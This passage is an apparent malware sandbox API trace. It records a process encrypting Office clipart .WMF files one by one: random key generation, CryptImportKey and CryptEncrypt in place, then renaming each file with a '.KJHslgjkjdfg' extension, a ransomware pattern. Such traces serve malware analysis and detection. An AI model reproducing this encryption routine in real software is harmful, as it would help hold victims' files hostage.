lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.715] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.715] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.715] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.715] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1138, lpOverlapped=0x0) returned 1 [0186.715] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1140, dwBufLen=0x1140 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1140) returned 1 [0186.715] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.716] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1140, lpOverlapped=0x0) returned 1 [0186.716] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.716] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.716] SetEndOfFile (hFile=0x114) returned 1 [0186.718] GetProcessHeap () returned 0x2a0000 [0186.718] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.718] GetProcessHeap () returned 0x2a0000 [0186.718] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.718] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00693_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00693_.wmf.kjhslgjkjdfg")) returned 1 [0186.719] CloseHandle (hObject=0x114) returned 1 [0186.719] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49cc9e00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49cc9e00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00720_.WMF", cAlternateFileName="")) returned 1 [0186.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.721] GetProcessHeap () returned 0x2a0000 [0186.721] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.721] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.721] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.721] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0186.723] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.723] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.723] GetProcessHeap () returned 0x2a0000 [0186.723] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.723] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.723] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.723] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.723] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.723] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.723] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.723] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.723] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.723] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.723] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.723] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.724] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3926, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3926, lpOverlapped=0x0) returned 1 [0186.724] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3930, dwBufLen=0x3930 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3930) returned 1 [0186.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.724] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3930, lpOverlapped=0x0) returned 1 [0186.725] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.725] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.725] SetEndOfFile (hFile=0x114) returned 1 [0186.727] GetProcessHeap () returned 0x2a0000 [0186.727] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.727] GetProcessHeap () returned 0x2a0000 [0186.727] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00720_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00720_.wmf.kjhslgjkjdfg")) returned 1 [0186.728] CloseHandle (hObject=0x114) returned 1 [0186.728] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80c3400, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80c3400, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x1afc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00723_.WMF", cAlternateFileName="")) returned 1 [0186.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.729] GetProcessHeap () returned 0x2a0000 [0186.729] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.730] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.730] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.730] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.731] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.731] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.732] GetProcessHeap () returned 0x2a0000 [0186.732] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.732] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.732] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.732] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.732] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.732] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.732] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.732] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.732] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.732] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.732] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.732] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.733] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1afc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1afc, lpOverlapped=0x0) returned 1 [0186.733] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b00, dwBufLen=0x1b00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b00) returned 1 [0186.733] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.733] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b00, lpOverlapped=0x0) returned 1 [0186.734] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.734] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.734] SetEndOfFile (hFile=0x114) returned 1 [0186.736] GetProcessHeap () returned 0x2a0000 [0186.736] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.736] GetProcessHeap () returned 0x2a0000 [0186.736] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.736] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00723_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00723_.wmf.kjhslgjkjdfg")) returned 1 [0186.737] CloseHandle (hObject=0x114) returned 1 [0186.737] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02b300, ftCreationTime.dwHighDateTime=0x1c04210, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d02b300, ftLastWriteTime.dwHighDateTime=0x1c04210, nFileSizeHigh=0x0, nFileSizeLow=0xb1a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00726_.WMF", cAlternateFileName="")) returned 1 [0186.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.738] GetProcessHeap () returned 0x2a0000 [0186.739] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.739] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.739] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.739] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.741] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.741] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.741] GetProcessHeap () returned 0x2a0000 [0186.741] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.741] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.741] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.741] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.741] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.741] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.741] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.741] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.741] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.742] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.742] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.742] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb1a4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb1a4, lpOverlapped=0x0) returned 1 [0186.753] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb1b0, dwBufLen=0xb1b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb1b0) returned 1 [0186.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.754] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb1b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb1b0, lpOverlapped=0x0) returned 1 [0186.754] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.754] SetEndOfFile (hFile=0x114) returned 1 [0186.756] GetProcessHeap () returned 0x2a0000 [0186.757] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.757] GetProcessHeap () returned 0x2a0000 [0186.757] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.757] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00726_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00726_.wmf.kjhslgjkjdfg")) returned 1 [0186.759] CloseHandle (hObject=0x114) returned 1 [0186.759] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfefd5700, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfefd5700, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9e2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00737_.WMF", cAlternateFileName="")) returned 1 [0186.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00737_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00737_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.761] GetProcessHeap () returned 0x2a0000 [0186.761] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.761] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.761] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.761] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.766] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.766] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.766] GetProcessHeap () returned 0x2a0000 [0186.767] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.767] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.767] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.767] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.767] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.767] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.767] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.767] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.767] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.767] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.767] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.767] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.767] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9e2c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9e2c, lpOverlapped=0x0) returned 1 [0186.770] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9e30, dwBufLen=0x9e30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9e30) returned 1 [0186.771] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.771] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9e30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, 